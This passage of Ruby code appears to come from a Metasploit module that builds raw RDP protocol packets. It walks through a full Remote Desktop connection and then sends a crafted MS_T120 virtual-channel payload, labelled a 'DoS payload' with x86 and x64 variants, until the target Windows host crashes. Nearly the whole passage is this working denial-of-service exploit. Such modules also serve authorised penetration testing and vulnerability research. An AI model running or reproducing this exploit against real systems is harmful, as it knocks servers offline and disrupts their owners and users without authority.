"\x0a\x00" + # lengthCapability: 10
"\x01\x00\x14\x00\x15\x00" +
"\x09\x00" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET
"\x08\x00" + # lengthCapability: 8
"\x00\x00\x00\x00" +
"\x0d\x00" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET
"\x58\x00" + # lengthCapability: 88
"\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" +
"\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +
"\x00\x00\x00\x00" +
"\x0c\x00" + # capabilitySetType: 12 - TS_SOUND_CAPABILITYSET
"\x08\x00" + # lengthCapability: 8
"\x01\x00\x00\x00" +
"\x0e\x00" + # capabilitySetType: 14 - TS_FONT_CAPABILITYSET
"\x08\x00" + # lengthCapability: 8
"\x01\x00\x00\x00" +
"\x10\x00" + # capabilitySetType: 16 - TS_GLYPHCAChE_CAPABILITYSET
"\x34\x00" + # lengthCapability: 52
"\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00" +
"\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00" +
"\xfe\x00\x00\x01\x40\x00\x00\x08\x00\x01\x00\x01\x03\x00\x00\x00" +
"\x0f\x00" + # capabilitySetType: 15 - TS_BRUSH_CAPABILITYSET
"\x08\x00" + # lengthCapability: 8
"\x01\x00\x00\x00" +
"\x11\x00" + # capabilitySetType: ??
"\x0c\x00" + # lengthCapability: 12
"\x01\x00\x00\x00\x00\x28\x64\x00" +
"\x14\x00" + # capabilitySetType: ??
"\x0c\x00" + # lengthCapability: 12
"\x01\x00\x00\x00\x00\x00\x00\x00" +
"\x15\x00" + # capabilitySetType: ??
"\x0c\x00" + # lengthCapability: 12
"\x02\x00\x00\x00\x00\x0a\x00\x01" +
"\x1a\x00" + # capabilitySetType: ??
"\x08\x00" + # lengthCapability: 8
"\xaf\x94\x00\x00" +
"\x1c\x00" + # capabilitySetType: ??
"\x0c\x00" + # lengthCapability: 12
"\x12\x00\x00\x00\x00\x00\x00\x00" +
"\x1b\x00" + # capabilitySetType: ??
"\x06\x00" + # lengthCapability: 6
"\x01\x00" +
"\x1e\x00" + # capabilitySetType: ??
"\x08\x00" + # lengthCapability: 8
"\x01\x00\x00\x00" +
"\x18\x00" + # capabilitySetType: ??
"\x0b\x00" + # lengthCapability: 11
"\x02\x00\x00\x00\x03\x0c\x00" +
"\x1d\x00" + # capabilitySetType: ??
"\x5f\x00" + # lengthCapability: 95
"\x02\xb9\x1b\x8d\xca\x0f\x00\x4f\x15\x58\x9f\xae\x2d\x1a\x87\xe2" +
"\xd6\x01\x03\x00\x01\x01\x03\xd4\xcc\x44\x27\x8a\x9d\x74\x4e\x80" +
"\x3c\x0e\xcb\xee\xa1\x9c\x54\x05\x31\x00\x31\x00\x00\x00\x01\x00" +
"\x00\x00\x25\x00\x00\x00\xc0\xcb\x08\x00\x00\x00\x01\x00\xc1\xcb" +
"\x1d\x00\x00\x00\x01\xc0\xcf\x02\x00\x08\x00\x00\x01\x40\x00\x02" +
"\x01\x01\x01\x00\x01\x40\x00\x02\x01\x01\x04"

## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU
return(rdp_build_share_control_header(0x13, pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992
## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 / 2.2.14.1
def pdu_client_synchronize(target_user = 0)
pdu = "\x01\x00" + # messageType: 1 SYNCMSGTYPE_SYNC
[target_user].pack("S<") # targetUser, 16 bit, unsigned.

## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE
data_header = rdp_build_share_data_header(0x1f, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135
## Control Cooperate - TC_CONTROL_PDU 2.2.1.15
def pdu_client_control_cooperate()
pdu = "\x04\x00" + # action: 4 - CTRLACTION_COOPERATE
"\x00\x00" + # grantId: 0
"\x00\x00\x00\x00" # controlId: 0

## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
data_header = rdp_build_share_data_header(0x14, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end


## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35
## Control Request - TC_CONTROL_PDU 2.2.1.16
def pdu_client_control_request()

pdu = "\x01\x00" + # action: 1 - CTRLACTION_REQUEST_CONTROL
"\x00\x00" + # grantId: 0
"\x00\x00\x00\x00" # controlId: 0

## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
data_header = rdp_build_share_data_header(0x14, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396
## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1
def pdu_client_input_event_sychronize()
pdu = "\x01\x00" + # numEvents: 1
"\x00\x00" + # pad2Octets
"\x00\x00\x00\x00" + # eventTime
"\x00\x00" + # messageType: 0 - INPUT_EVENT_SYNC

## TS_SYNC_EVENT 202.8.1.1.3.1.1.5
"\x00\x00" + # pad2Octets
"\x00\x00\x00\x00" # toggleFlags

## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT
data_header = rdp_build_share_data_header(0x1c, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9
## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18
def pdu_client_font_list()
pdu = "\x00\x00" + # numberFonts: 0
"\x00\x00" + # totalNumberFonts: 0
"\x03\x00" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)
"\x32\x00" # entrySize: 50

## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST
data_header = rdp_build_share_data_header(0x27, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

# ------------------------------------------------------------------------- #

def crash_test(rc4enckey, hmackey)
begin
received = ""
for i in 0..5
received += rdp_recv()
end
rescue RdpCommunicationError
# we don't care
end

vprint_status("Sending DoS payload")
found = false
for j in 0..15
## x86_payload:
rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000020000000000000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))

## x64_payload:
rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000000000000200000"].pack("H*")), rc4enckey, hmackey, "\x03\xef"))
end
end

def produce_dos()

unless(rdp_connection_initiation())
vprint_status("Could not connect to RDP.")
return(false)
end

vprint_status("Sending initial client data")
received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))

rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)

vprint_status("Sending erect domain request")
rdp_send(pdu_erect_domain_request())

vprint_status("Sending attach user request")
received = rdp_sendrecv(pdu_attach_user_request())

user1 = received[9, 2].unpack("n").first

[1003, 1004, 1005, 1006, 1007].each do | chan |
rdp_sendrecv(pdu_channel_request(user1, chan))
end

## 5.3.4 Client Random Value
client_rand = ''
32.times { client_rand << rand(0..255) }
rcran = bytes_to_bignum(client_rand)

vprint_status("Sending security exchange PDU")
rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))

## We aren't decrypting anything at this point. Leave the variables here
## to make it easier to understand in the future.
rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)

vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}")
vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}")
vprint_status("HMAC_KEY: #{bin_to_hex(hmackey)}")
vprint_status("SESS_BLOB: #{bin_to_hex(sessblob)}")

rc4enckey = RC4.new(rc4encstart)

vprint_status("Sending client info PDU") # TODO
pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])
received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, "\x03\xeb", true))

vprint_status("Received License packet")
rdp_recv()

vprint_status("Sending client confirm active PDU")
rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))

vprint_status("Sending client synchronize PDU")
rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))

vprint_status("Sending client control cooperate PDU")
rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))

vprint_status("Sending client control request control PDU")
rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))

vprint_status("Sending client input sychronize PDU")
rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))

vprint_status("Sending client font list PDU")
rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))

vprint_status("Sending close mst120 PDU")
crash_test(rc4enckey, hmackey)

vprint_status("Sending client disconnection PDU")
rdp_send(rdp_build_data_tpdu("\x21\x80"))

return(true)
end

# ------------------------------------------------------------------------- #

def run_host(ip)
## Allow the run command to call the check command.
begin
if(open_connection())
status = produce_dos()
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
bt = e.backtrace.join("\n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message}\n#{bt}")
rescue RdpCommunicationError => e
vprint_error("Error communicating RDP protocol.")
status = Exploit::CheckCode::Unknown
rescue Errno::ECONNRESET => e # NLA?
vprint_error("Connection reset, possible NLA is enabled.")
rescue => e
bt = e.backtrace.join("\n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message}\n#{bt}")
ensure

if(status == true)
sleep(1)
unless(open_connection())
print_good("The host is crashed!")
else
print_bad("The DoS has been sent but the host is already connected!")
end
end

disconnect()
end
end

end

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